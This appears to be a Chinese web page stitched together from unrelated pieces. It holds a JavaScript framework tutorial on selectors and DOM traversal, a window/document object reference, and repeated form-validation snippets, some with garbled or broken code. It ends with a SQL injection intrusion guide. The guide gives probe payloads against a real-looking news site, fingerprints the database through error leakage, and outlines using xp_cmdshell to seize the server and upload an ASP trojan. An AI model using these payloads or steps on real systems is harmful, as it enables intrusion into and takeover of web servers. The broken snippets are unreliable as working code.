基于ID、元素类型、类名查找元素非常有用，但是如果你想基于它在DOM树中的位置来查找元素该怎么办？换句话说，你有一个给定的元素，你想查找它的父元素、子元素中的一个、它的上一个或下一个节点兄弟节点。例如，采用下面这段零碎的HTML代码：

清单1：HTML碎片（一个table）

<table>
    <thead>
        <tr>
            <th>Name</th>
            <th>Email Address</th>
            <th>Actions</th>
        </tr>
    </thead>
    <tbody>
        <tr id="row-001">
            <td>Joe Lennon</td>
            <td>joe@joelennon.ie</td>
            <td><a href="#">Edit</a>&nbsp;
                <a href="#">Delete</a></td>
        </tr>
        <tr id="row-002">
            <td>Jill Mac Sweeney</td>
            <td>jill@example.com</td>
            <td><a href="#">Edit</a>&nbsp;
                <a href="#">Delete</a></td>
        </tr>
    </tbody>
</table>

清单1使用缩进来说明其中每个元素节点在DOM树中的位置。在这个实例中，table元素是根元素，有两个子节点thead和tbody。thead元素有一个tr子节点，tr有三个孩子－－所有的th元素。tbody元素有两个tr子节点，每个tr节点有三个孩子。在上述每一行的第三个节点中进一步包含子节点，都是两个链接标记。

正如你知道的那样，你可以使用一个Javascript框架的选择函数通过ID很轻松的选择一个元素。在这个实例中，有两个元素拥有ID，它们是ID分别为row-001和row-002的tr元素。使用Prototype库选择第一个tr，可以使用下面的代码：

var theRow = $('row-001');

在上一章，你还了解到，基于元素的类型或class使用选择器来获取元素。在这个实例中，你可以使用下面的语法来得到所有的td元素。

var allCells = $$('td');

改代码的主要问题在于它返回了每一个td 元素。但是，如果你只想得到ID为row-001的tr的所有td元素该怎么办？这正是DOM遍历函数发挥作用的地方。首先，让我们使用原型来选择ID为row-001的tr的所有的子级。

var firstRowCells = theRow.childElements();

这将返回theRow变量（你最初设置的ID为row-001的tr）所有子元素的数组。

接下来，我们假设你只想得到该行的第一个子元素。在本例中，即包含“Joe Lennon”文本的td元素。要做到这一点，使用下面的语句：

var firstRowFirstCell = theRow.down();

真简单！这个特定的使用方法等价于：

var firstRowFirstCell = theRow.childElements()[0];

也可以这样表示：

var firstRowFirstCell = theRow.down(0);

Javascript的索引从零开始，所以上面的语句主要告知Javascript来选择第一个子元素。要选择第二个子元素（单元格包含电子邮件地址joe@joelennon.ie），你可以这样用：

var firstRowSecondCell = theRow.down(1);

或者，你可以在兄弟节点之间浏览DOM。本例中，第二个单元格是第一个单元格的下一个兄弟节点。因此，你可以使用下面的语句：

var firstRowSecondCell = firstRowFirstCell.next();

与down()函数工作一样，选择第三个单元格可以这样使用。

var firstRowThirdCell = firstRowFirstCell.next(1);

除了使用索引来查找特定节点外，Prototype库还可以使用CSS选择器语法。在清单1中，我们要找到第二个包含 Jill Mac Sweeney’ 详细信息的链接（“删除”链接）。

var secondRowSecondLink = $('row-002').down('a', 1);

在本例中，使用$函数来查找ID为row-002的那一行，向下遍历到第二个后代a元素（锚点）。

一些框架还允许“菊花链式”的遍历功能，这意味着你可以彼此连接遍历命令。上面的例子中，Prototype库的另一种表达方式是这样的：

var secondRowSecondLink = $('row-002').down('a').next();

看看下面的例子：

var domTraversal = $('row-001').down().up().next().previous();

正如你所见，菊花链允许你连接多个DOM遍历语句。事实上，上述例子实际上最终选择ID为row-001的tr元素，所以菊花链又回到了开始的地方。
 

导言：Javascript是一种面向对象的脚本语言，一直以来用作Web浏览器应用程序客户端脚本接口的选择。Javascript允许Web开发人员编程与网页上的对象的工作,为凭空操作这些对象提供了一个平台。当Javascript最初推出时，它通常用来提供一些微不足道的功能，如时钟、在浏览器状态栏中滚动文本。另外一个常用特色就是“rollover link”,即当用户的鼠标滑过对象时，其文本的颜色或背景图片发生改变。然而，近年来Ajax为网络编程带来了全新的互动，Javascript几经发展变得更加有用。在Ajax之前，任何服务器端处理或数据库访问都需要整页面被“刷新”或由浏览器呈现新的页面。这不仅缓慢，令用户失望，而且也浪费了带宽和资源。

Ajax就是异步的Javascript和XML，虽然引用XML不在有效，但是Ajax能对除了XMl的其它几种格式的数据作出响应，如JSON(Javascript对象表示法)。 Ajax的工作原理是，以异步的方式提交一个 HTTP请求提交到web服务器，不刷新也不呈现整个页面，仅呈现响应的内容。相反，开发人员通常使用DOM（文档对象模型）操作修改网页的一部分，HTTP响应返回的数据将反映这些改变。

什么是Javascript框架？

Javascript本身是一种非常强大的语言，你不需要任何额外的框架就可以创建由它支持的富互联网应用系统（RIA）。但是，使用Javascript并不是一件容易的事，主要是因为在试图提供多种浏览器支持时各种并发症的出现。和HTML和CSS一样，不同的浏览器的Javascript执行方式不同，那么确保您的Javascript代码跨浏览器兼容可以说是一个恶梦。

一个Javascript框架或库实际上是一系列工具和函数，它能更容易产生跨浏览器兼容的Javascript代码。每个库在许多流行的最新版本的Web浏览器经过了严格测试。因此，您完全可以相信，使用这些框架中的任何一个，您的基于Javascript的RIA在不同的浏览器和平台中将大体一致。

除了浏览器兼容性问题外，Javascript框架可以更容易地编写代码去获取、遍历及操纵DOM元素。它们不仅能提供一个快捷的函数来获取一个DOM元素的引用，而且还允许菊花式的DOM遍历函数链查找父母、子女或任何深度的兄弟节点元素。最后，框架提供了一系列的函数，使其更容易的操纵这些对象，允许其内容更改、添加、删除，或者操纵class的样式而影响元素的外观。

Javascript框架的另一个重要特色就是能更好的支持事件处理。由于浏览器之间的不同实现，跨浏览器事件处理可以说是一个恶梦。因此，Javascript框架通常将浏览器事件包装起来，并提供一系列有用的跨浏览器函数来处理它们。一些框架也提供了标准化的代表键盘键码系列的事件（如Esc键、Enter键、光标等等）。

所有这些功能是非常有用的，Javascript框架已在其最近流行Ajax应用中起重要作用。和Javascript其他方面一样，每个Web浏览器倾向于支持以不同的方式Ajax，使Ajax支持所有的浏览器将是很繁重的工作。几乎所有的Javascript框架都包括一定形式的Ajax库，通常是提供Ajax请求和响应对象，在对响应作出评价后，更新DOM元素，轮询一个特定的请求。

一个Javascript框架的典型特征

现在让我们看看大多数Javascript框架都具有的一些功能。这些特色有：

选择器
DOM遍历
DOM操作
实用函数
事件处理
Ajax
为了更好的诠释这些特色，我将从下面一个或多个Javascript框架中列举一个例子：Prototype, jQuery， YUI，ExtJS和 MooTools。虽然每个框架的执行情况和语法不同，但其概念大致相同。每个框架有一个详细的API参考，你可以参考它决定如何使用这些特定库的特色功能。
选择器

大多数Javascript框架可实现某种形式的快速元素选择。一般来说，这些选择器使获取一个元素的引用更加快捷，并允许你通过ID、class、元素类型或一些伪类选择符来选取元素。

例如，使用通常的Javascript，你可以使用下面的代码借助ID来取得DOM元素。

var theElement = document.getElementById('the_element');

与其他几个框架一样，MooTools提供了一个执行该操作的快捷方法。除了选择元素，MooTools通过自己一系列的功能函数扩展了元素。

var theElement = $('the_element');

$函数在几个流行的框架（并非全部）中可用，其语法大致相同。Prototype更深一层，通过ID在任何时候可以选择多个元素，返回的是一个元素数组。与

MooTools一样，这些元素利用Prototype的实用函数扩展。利用Prototype库在任何时候选择多个元素的语法是这样的：

var elementArray = $('element_one', 'element_two', 'element_three');

在实用函数这一部分，你将了解到Javascript框架提供的一些函数迭代我们的集合更加容易。

在前面的例子，你必须提供你欲选择元素的ID。但是，你要选择多个元素该怎么办？所有image、拥有特定className的表格的每一行。MooTools（其它的几个库）提供了一个非常简单的方法来做到这一点－－$$函数。除了元素的ID外，他还可以接受以下参数：元素的名字、类名以及伪类选择器，其工作原理与$函数相似。例如，使用MooTools获取页面上所有的图片，你可以使用下面的代码：

var allImages = $$('img');

这将得到文档中所有imag的数组，每一个通过$函数和其实用函数进行扩展。

通过tag标签来选取对象是非常有用的，但如果你只想基于元素的class选取它的部分子集，遮盖怎么办？同样很简单。在下面的例子中，MooTools将选择table中class为“odd”的行，这在对每行进行操作时很有用（交替变换表格每一行的颜色）。

var allOddRows = $$('tr.odd');

事实上，MooTools提供了一个更好的方法执行行操作。在前面的例子中，假定table的奇数行授予了类名“odd”。那么下面的代码不需要在table的每一行上定义任何类名。

var allOddRows = $$('tbody <IMG class=wp-smiley alt=:o src="http://www.denisdeng.com/wp-includes/images/smilies/icon_surprised.gif"> dd');

这是一个伪类选择器的例子，它返回匹配规范的任何对象。在这个例子中，结果为页面中tbody元素中所有奇数行的子元素。MooTools其它伪类元素的例子包括：

checked 所有被选中的元素（例如：选中的复选框）；
enabled 所有可用的元素；
contains 所有包含文本（作为参数传递给选择器）的元素。
如前所述，并非所有的Javascript框架都使用$函数来选取DOM元素。在YUI（Yahoo用户界面）的第三个版本中，下面的代码是通过ID来选取元素的（注意：YUI3需要在ID前加上字符#）。

var theElement = Y.one('#the_element');

同样，通过tag或class来选取元素也不是使用$$函数，在YUI中你要使用Y.all来代替。

var allOddRows = Y.all('tr.odd');

ExtJS以同样的方式工作，通过ID选择元素用下面的语法：

var theElement = Ext.get('the_element') ;

而通过tag和class来获取元素则用下面的语法：

var allOddRows = Ext.select('tr.odd');

在下一章中，你将了解到如何使用Javascript框架来轻松遍历DOM对象，换句话说，找到与选定元素有父子和兄弟关系的元素。
 

　　它是一个顶层对象,而不是另一个对象的属性，即浏览器的窗口。

　　属性

　　defaultStatus 缺省的状态条消息

　　document 当前显示的文档(该属性本身也是一个对象)

　　frame 窗口里的一个框架(

)(该属性本身也是一个对象)

　　frames array 列举窗口的框架对象的数组,按照这些对象在文档中出现的顺序列出(该属性本身也是一个

对象)

　　history 窗口的历史列表(该属性本身也是一个对象)

　　length 窗口内的框架数

　　location 窗口所显示文档的完整(绝对)URL(该属性本身也是一个对象)不要把它与如document.location

混淆,后者是当前显示文档的URL。用户可以改变window.location(用另一个文档取代当前文档),但却不能改变

document.location (因为这是当前显示文档的位置)

　　name 窗口打开时,赋予该窗口的名字

　　opener 代表使用window.open打开当前窗口的脚本所在的窗口(这是Netscape Navigator 3.0beta 3所引

入的一个新属性)

　　parent 包含当前框架的窗口的同义词。frame和window对象的一个属性

　　self 当前窗口或框架的同义词

　　status 状态条中的消息

　　top 包含当前框架的最顶层浏览器窗口的同义词

　　window 当前窗口或框架的同义词,与self相同

　　方法

　　alert() 打开一个Alert消息框

　　clearTimeout() 用来终止setTimeout方法的工作

　　close() 关闭窗口

　　confirm() 打开一个Confirm消息框,用户可以选择OK或Cancel,如果用户单击OK,该方法返回true,单击

Cancel返回false

　　blur() 把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3引入的新方法)

　　focus() 把指定的窗口带到前台(另一个新方法)

　　open() 打开一个新窗口

　　prompt() 打开一个Prompt对话框,用户可向该框键入文本,并把键入的文本返回到脚本

　　setTimeout() 等待一段指定的毫秒数时间,然后运行指令事件处理程序事件处理程序

　　Onload() 页面载入时触发

　　Onunload() 页面关闭时触发

[document对象]

　　该对象是window和frames对象的一个属性,是显示于窗口或框架内的一个文档。

　　属性

　　alinkColor 活动链接的颜色(ALINK)

　　anchor 一个HTMI锚点,使用

标记创建(该属性本身也是一个对象)

　　anchors array 列出文档锚点对象的数组(

)(该属性本身也是一个对象)

　　bgColor 文档的背景颜色(BGCOLOR)

　　cookie 存储于cookie.txt文件内的一段信息,它是该文档对象的一个属性

　　fgColor 文档的文本颜色(

标记里的TEXT特性)

　　form 文档中的一个窗体(

)(该属性本身也是一个对象)

　　forms anay 按照其出现在文档中的顺序列出窗体对象的一个数组(该属性本身也是一个对象)

　　lastModified 文档最后的修改日期

　　linkColor 文档的链接的颜色,即

标记中的LINK特性(链接到用户没有观察到的文档)

　　link 文档中的一个

标记(该属性本身也是一个对象)

　　links array 文档中link对象的一个数组,按照它们出现在文档中的顺序排列(该属性本身也是一个对象)

　　location 当前显示文档的URL。用户不能改变document.location(因为这是当前显示文档的位置)。但是,

可以改变 window.location (用其它文档取代当前文档)window.location本身也是一个对象,而

document.location不是对象

　　referrer 包含链接的文档的URL,用户单击该链接可到达当前文档

　　title 文档的标题(

)

　　vlinkColor 指向用户已观察过的文档的链接文本颜色,即

标记的VLINK特性

　　方法

　　clear 清除指定文档的内容

　　close 关闭文档流

　　open 打开文档流

　　write 把文本写入文档

　　writeln 把文本写入文档,并以换行符结尾

区别:1、window指窗体。document指页面。document是window的一个子对象。

2、用户不能改变document.location(因为这是当前显示文档的位置)。但是,可以改变window.location (用其它文档取代当前文档)window.location本身也是一个对象,而document.location不是对象

2. 只能是汉字
<input onkeyup="value="/oblog/value.replace(/[^\u4E00-\u9FA5]/g,'')">

3." 只能是英文
<script language=javascript>
function onlyEng()
{
if(!(event.keyCode>=65&&event.keyCode<=90))
event.returnvalue=false;
}
</script>

<input onkeydown="onlyEng();">

4. 只能是数字
<script language=javascript>
function onlyNum()
{
if(!((event.keyCode>=48&&event.keyCode<=57)||(event.keyCode>=96&&event.keyCode<=105)))
//考虑小键盘上的数字键
event.returnvalue=false;
}
</script>

<input onkeydown="onlyNum();">

5. 只能是英文字符和数字
<input onkeyup="value="/oblog/value.replace(/[\W]/g,"'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))">

6. 验证油箱格式
<SCRIPT LANGUAGE=javascript RUNAT=Server>
function isEmail(strEmail) {
if (strEmail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)
return true;
else
alert("oh");
}
</SCRIPT>
<input type=text onblur=isEmail(this.value)>

7. 屏蔽关键字(这里屏蔽***和****)
<script language="javascript1.2">
function test() {
if((a.b.value.indexOf ("***") == 0)||(a.b.value.indexOf ("****") == 0)){
alert(":)");
a.b.focus();
return false;}
}
</script>
<form name=a onsubmit="return test()">
<input type=text name=b>
<input type="submit" name="Submit" value="check">
</form>

8. 两次输入密码是否相同
<FORM METHOD=POST ACTION="">
<input type="password" id="input1">
<input type="password" id="input2">
<input type="button" value="test" onclick="check()">
</FORM>
<script>
function check()
{
with(document.all){
if(input1.value!=input2.value)
{
alert("false")
input1.value = "";
input2.value = "";
}
else document.forms[0].submit();
}
}
</script>
够了吧 :)
屏蔽右键 很酷
oncontextmenu="return false" ondragstart="return false" onselectstart="return false"
加在body中

二

2.1  表单项不能为空

<script  language="javascript">
<!--
function  CheckForm()
{ 
if  (document.form.name.value.length  ==  0)  { 
alert("请输入您姓名!");
document.form.name.focus();
return  false;
}
return  true;
}
-->
</script>

2.2  比较两个表单项的值是否相同

<script  language="javascript">
<!--
function  CheckForm()
if  (document.form.PWD.value  !=  document.form.PWD_Again.value)  { 
alert("您两次输入的密码不一样！请重新输入.");
document.ADDUser.PWD.focus();
return  false;
}
return  true;
}
-->
</script>

2.3  表单项只能为数字和"_",用于电话/银行帐号验证上,可扩展到域名注册等

<script  language="javascript">
<!--
function  isNumber(String)
{ 
var  Letters  =  "1234567890-";  //可以自己增加可输入值
var  i;
var  c;
if(String.charAt(  0  )=='-')
return  false;
if(  String.charAt(  String.length  -  1  )  ==  '-'  )
return  false;
for(  i  =  0;  i  <  String.length;  i  ++  )
{ 
c  =  String.charAt(  i  );
if  (Letters.indexOf(  c  )  <  0)
return  false;
}
return  true;
}
function  CheckForm()
{ 
if(!  isNumber(document.form.TEL.value))  { 
alert("您的电话号码不合法！");
document.form.TEL.focus();
return  false;
}
return  true;
}
-->
</script>

2.4  表单项输入数值/长度限定

<script  language="javascript">
<!--
function  CheckForm() 
{ 
if  (document.form.count.value  >  100  ||  document.form.count.value  <  1)
{ 
alert("输入数值不能小于零大于100!");
document.form.count.focus();
return  false;
}
if  (document.form.MESSAGE.value.length<10)
{ 
alert("输入文字小于10!");
document.form.MESSAGE.focus();
return  false;
}
return  true;
}
//-->
</script>

2.5  中文/英文/数字/邮件地址合法性判断

<SCRIPT  LANGUAGE="javascript">
<!--

function  isEnglish(name)  //英文值检测
{ 
if(name.length  ==  0)
return  false;
for(i  =  0;  i  <  name.length;  i++)  { 
if(name.charCodeAt(i)  >  128)
return  false;
}
return  true;
}

function  isChinese(name)  //中文值检测
{ 
if(name.length  ==  0)
return  false;
for(i  =  0;  i  <  name.length;  i++)  { 
if(name.charCodeAt(i)  >  128)
return  true;
}
return  false;
}

function  isMail(name)  //  E-mail值检测
{ 
if(!  isEnglish(name))
return  false;
i  =  name.indexOf("  at  ");
j  =  name  dot  lastIndexOf("  at  ");
if(i  ==  -1)
return  false;
if(i  !=  j)
return  false;
if(i  ==  name  dot  length)
return  false;
return  true;
}

function  isNumber(name)  //数值检测
{ 
if(name.length  ==  0)
return  false;
for(i  =  0;  i  <  name.length;  i++)  { 
if(name.charAt(i)  <  "0"  ||  name.charAt(i)  >  "9")
return  false;
}
return  true;
}

function  CheckForm()
{ 
if(!  isMail(form.Email.value))  { 
alert("您的电子邮件不合法！");
form.Email.focus();
return  false;
}
if(!  isEnglish(form.name.value))  { 
alert("英文名不合法！");
form.name.focus();
return  false;
}
if(!  isChinese(form.cnname.value))  { 
alert("中文名不合法！");
form.cnname.focus();
return  false;
}
if(!  isNumber(form.PublicZipCode.value))  { 
alert("邮政编码不合法！");
form.PublicZipCode.focus();
return  false;
}
return  true;
}
//-->
</SCRIPT>

2.6  限定表单项不能输入的字符

<script  language="javascript">
<!--

function  contain(str,charset)//  字符串包含测试函数
{ 
var  i;
for(i=0;i<charset.length;i++)
if(str.indexOf(charset.charAt(i))>=0)
return  true;
return  false;
}

function  CheckForm()
{ 
if  ((contain(document.form.NAME.value,  "%\(\)><"))  ||  (contain(document.form.MESSAGE.value,  "%\(\)><")))
{ 
alert("输入了非法字符");
document.form.NAME.focus();
return  false;
}
return  true;
}
//-->
</script> 

1. 检查一段字符串是否全由数字组成      
---------------------------------------      
<script language="Javascript"><!--          
function checkNum(str){return str.match(/\D/)==null}          
alert(checkNum("1232142141"))          
alert(checkNum("123214214a1"))          
// --></script>        
     
2. 怎么判断是否是字符        
---------------------------------------      
if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");         
else alert("全是字符");     
          
3. 怎么判断是否含有汉字       
---------------------------------------       
if (escape(str).indexOf("%u")!=-1) alert("含有汉字");        
else alert("全是字符");          
   
4. 邮箱格式验证   
---------------------------------------     
//函数名：chkemail    
//功能介绍：检查是否为Email Address    
//参数说明：要检查的字符串    
//返回值：0：不是 1：是    
function chkemail(a)    
{ var i=a.length;    
var temp = a.indexOf('@');    
var tempd = a.indexOf('.');    
if (temp > 1) {    
if ((i-temp) > 3){    
if ((i-tempd)>0){    
return 1;    
}    
   
}    
}    
return 0;    
}    
   
5. 数字格式验证   
---------------------------------------     
//函数名：fucCheckNUM    
//功能介绍：检查是否为数字    
//参数说明：要检查的数字    
//返回值：1为是数字，0为不是数字    
function fucCheckNUM(NUM)    
{    
var i,j,strTemp;    
strTemp="0123456789";    
if ( NUM.length== 0)    
return 0    
for (i=0;i<NUM.length;i++)    
{    
j=strTemp.indexOf(NUM.charAt(i));    
if (j==-1)    
{    
//说明有字符不是数字    
return 0;    
}    
}    
//说明是数字    
return 1;    
}    
   
6. 电话号码格式验证   
---------------------------------------     
//函数名：fucCheckTEL    
//功能介绍：检查是否为电话号码    
//参数说明：要检查的字符串    
//返回值：1为是合法，0为不合法    
function fucCheckTEL(TEL)    
{    
var i,j,strTemp;    
strTemp="0123456789-()# ";    
for (i=0;i<TEL.length;i++)    
{    
j=strTemp.indexOf(TEL.charAt(i));    
if (j==-1)    
{    
//说明有字符不合法    
return 0;    
}    
}    
//说明合法    
return 1;    
}   
  
7. 判断输入是否为中文的函数  
---------------------------------------     
function ischinese(s){  
var ret=true;  
for(var i=0;i<s.length;i++)  
ret=ret && (s.charCodeAt(i)>=10000);  
return ret;  
}   
  
8. 综合的判断用户输入的合法性的函数 
---------------------------------------     
<script language="javascript"> 
//限制输入字符的位数开始 
//m是用户输入，n是要限制的位数 
function issmall(m,n) 
{ 
if ((m<n) && (m>0)) 
  { 
  return(false); 
  } 
else 
{return(true);} 
} 
 
9. 判断密码是否输入一致 
---------------------------------------     
function issame(str1,str2) 
{ 
if (str1==str2) 
{return(true);} 
else 
{return(false);} 
} 
 
10. 判断用户名是否为数字字母下滑线
---------------------------------------     
function notchinese(str){
var reg=/[^A-Za-z0-9_]/g
    if (reg.test(str)){
    return (false);
    }else{
return(true);    }
}

11. form文本域的通用校验函数
---------------------------------------     
作用：检测所有必须非空的input文本，比如姓名，账号，邮件地址等等。
该校验现在只针对文本域，如果要针对form里面的其他域对象，可以改变判断条件。

使用方法：在要检测的文本域中加入title文字。文字是在提示信息，你要提示给用户的该字段的中文名。比如要检测用户名
html如下<input name="txt_1" title="姓名">,当然，最好用可视化工具比如dreamweaver什么的来编辑域。
如果要检测数字类型数据的话，再把域的id统一为sz.
javascript判断日期类型比较麻烦，所以就没有做日期类型校验的程序了.高手可以补充。

程序比较草，只是提供一个思路。抛砖引玉！ ：）
哦，对了，函数调用方法：< form  onsubmit="return dovalidate()">

function dovalidate()
{
fm=document.forms[0] //只检测一个form,如果是多个可以改变判断条件
    for(i=0;i<fm.length;i++)
    { 
    //检测判断条件，根据类型不同可以修改
    if(fm[i].tagName.toUpperCase()=="INPUT" &&fm[i].type.toUpperCase()=="TEXT" && (fm[i].title!=""))
   
         if(fm[i].value="/blog/="")//
         {
         str_warn1=fm[i].title+"不能为空!";
         alert(str_warn1);
        fm[i].focus();
         return false;        
         }
         if(fm[i].id.toUpperCase()=="SZ")//数字校验
         {
                 if(isNaN(fm[i].value))
                { str_warn2=fm[i].title+"格式不对";
                alert(str_warn2);
                fm[i].focus();
                 return false;
                 }
        }
    }
    return true;
}

2 >表单提交验证类

2.1 表单项不能为空

<script language="javascript">
<!--
function CheckForm()
{
if (document.form.name.value.length == 0) {
alert("请输入您姓名!");
document.form.name.focus();
return false;
}
return true;
}
-->
</script>

2.2 比较两个表单项的值是否相同

<script language="javascript">
<!--
function CheckForm()
if (document.form.PWD.value != document.form.PWD_Again.value) {
alert("您两次输入的密码不一样！请重新输入.");
document.ADDUser.PWD.focus();
return false;
}
return true;
}
-->
</script>

2.3 表单项只能为数字和"_",用于电话/银行帐号验证上,可扩展到域名注册等

<script language="javascript">
<!--
function isNumber(String)
{
var Letters = "1234567890-"; //可以自己增加可输入值
var i;
var c;
if(String.charAt( 0 )=='-')
return false;
if( String.charAt( String.length - 1 ) == '-' )
return false;
for( i = 0; i < String.length; i ++ )
{
c = String.charAt( i );
if (Letters.indexOf( c ) < 0)
return false;
}
return true;
}
function CheckForm()
{
if(! isNumber(document.form.TEL.value)) {
alert("您的电话号码不合法！");
document.form.TEL.focus();
return false;
}
return true;
}
-->
</script>

2.4 表单项输入数值/长度限定

<script language="javascript">
<!--
function CheckForm()
{
if (document.form.count.value > 100 || document.form.count.value < 1)
{
alert("输入数值不能小于零大于100!");
document.form.count.focus();
return false;
}
if (document.form.MESSAGE.value.length<10)
{
alert("输入文字小于10!");
document.form.MESSAGE.focus();
return false;
}
return true;
}
//-->
</script>

2.5 中文/英文/数字/邮件地址合法性判断

<SCRIPT LANGUAGE="javascript">
<!--

function isEnglish(name) //英文值检测
{
if(name.length == 0)
return false;
for(i = 0; i < name.length; i++) {
if(name.charCodeAt(i) > 128)
return false;
}
return true;
}

function isChinese(name) //中文值检测
{
if(name.length == 0)
return false;
for(i = 0; i < name.length; i++) {
if(name.charCodeAt(i) > 128)
return true;
}
return false;
}

function isMail(name) // E-mail值检测
{
if(! isEnglish(name))
return false;
i = name.indexOf(" at ");
j = name dot lastIndexOf(" at ");
if(i == -1)
return false;
if(i != j)
return false;
if(i == name dot length)
return false;
return true;
}

function isNumber(name) //数值检测
{
if(name.length == 0)
return false;
for(i = 0; i < name.length; i++) {
if(name.charAt(i) < "0" || name.charAt(i) > "9")
return false;
}
return true;
}

function CheckForm()
{
if(! isMail(form.Email.value)) {
alert("您的电子邮件不合法！");
form.Email.focus();
return false;
}
if(! isEnglish(form.name.value)) {
alert("英文名不合法！");
form.name.focus();
return false;
}
if(! isChinese(form.cnname.value)) {
alert("中文名不合法！");
form.cnname.focus();
return false;
}
if(! isNumber(form.PublicZipCode.value)) {
alert("邮政编码不合法！");
form.PublicZipCode.focus();
return false;
}
return true;
}
//-->
</SCRIPT>

2.6 限定表单项不能输入的字符

<script language="javascript">
<!--

function contain(str,charset)// 字符串包含测试函数
{
var i;
for(i=0;i<charset.length;i++)
if(str.indexOf(charset.charAt(i))>=0)
return true;
return false;
}

function CheckForm()
{
if ((contain(document.form.NAME.value, "%\(\)><")) || (contain(document.form.MESSAGE.value, "%\(\)><")))
{
alert("输入了非法字符");
document.form.NAME.focus();
return false;
}
return true;
}
//-->
</script>

　　许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，（一般是在浏览器地址栏进行,通过正常的www端口访问）根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。

　　<二>SQL注入思路

　　思路最重要。其实好多人都不知道SQL到底能做什么呢？这里总结一下SQL注入入侵的总体的思路：

　　1. SQL注入漏洞的判断，即寻找注入点

　　2. 判断后台数据库类型

　　3. 确定XP_CMDSHELL可执行情况；若当前连接数据的帐号具有SA权限，且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行，则整个计算机可以通过几种方法完全控制，也就完成了整个注入过程，否则继续：

　　1. 发现WEB虚拟目录

　　2. 上传ASP木马；

　　3. 得到管理员权限

　　具体步骤：

　　一、SQL注入漏洞的判断

　　如果以前没玩过注入，请把IE菜单-工具-Internet选项－高级－显示友好HTTP错误信息前面的勾去掉。

　　为了把问题说明清楚，以下以HTTP://www.163.com/news.asp?id=xx(这个地址是假想的)，为例进行分析，xx可能是整型，也有可能是字符串。

　　1、整型参数的判断

　　当输入的参数xx为整型时，通常news.asp中SQL语句原貌大致如下：

select * from 表名 where 字段=xx，所以可以用以下步骤测试SQL注入是否存在。

　　最简单的判断方法

HTTP://www.163.com/news.asp?id=xx’(附加一个单引号)，

　　此时news.asp中的SQL语句变成了

select * from 表名 where 字段=xx’，

　　如果程序没有过滤好“’”的话，就会提示 news.asp运行异常；但这样的方法虽然很简单，但并不是最好的，因为：

　　first,不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

　　second，目前大多数程序员已经将“’“ 过滤掉，所以用” ’”测试不到注入点，所以一般使用经典的1=1和1=2测试方法，见下文：

HTTP://www.163.com/news.asp?id=xx and 1=1, news.asp运行正常，

　　而且与HTTP://www.163.com/news.asp?id=xx运行结果相同；

HTTP://www.163.com/news.asp?id=xx and 1=2, news.asp运行异常；（这就是经典的 1=1 1=2 判断方法）

　　如果以上面满足，news.asp中就会存在SQL注入漏洞，反之则可能不能注入。

　　2、字符串型参数的判断

　　方法与数值型参数判断方法基本相同

　　当输入的参数xx为字符串时，通常news.asp中SQL语句原貌大致如下：

select * from 表名 where 字段='xx'，所以可以用以下步骤测试SQL注入是否存在。

HTTP://www.163.com/news.asp?id=xx’(附加一个单引号)，此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’，news.asp运行异常；
HTTP://www.163.com/news.asp?id=xx and &#39;1'='1', news.asp运行正常，

　　而且与HTTP://www.163.com/news.asp?id=xx运行结果相同；

HTTP://www.163.com/news.asp?id=xx and &#39;1'='2', news.asp运行异常；

　　如果以上满足，则news.asp存在SQL注入漏洞，反之则不能注入

　　3、特殊情况的处理

　　有时ASP程序员会在程序员过滤掉单引号等字符，以防止SQL注入。此时可以用以下几种方法试一试。

　　①大小定混合法：由于VBS并不区分大小写，而程序员在过滤时通常要么全部过滤大写字符串，要么全部过滤小写字符串，而大小写混合往往会被忽视。如用Select代替select,Select等；

　　②UNICODE法：在IIS中，以UNICODE字符集实现国际化，我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B，空格=%20 等；URLEncode信息参见附件一；

　　③ASCII码法：可以把输入的部分或全部字符全部

　　<4>出了上述方法以外，还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错的工具，目前最新的版本为2.2

　　二、判断数据库类型

　　不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。

　　怎么让程序告诉你它使用的什么数据库呢？来看看：

　　SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
HTTP://www.163.com/news.asp?id=xx;and user>0

　　这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。

　　如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。

　　在确认可以注入的情况下，使用下面的语句：

HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

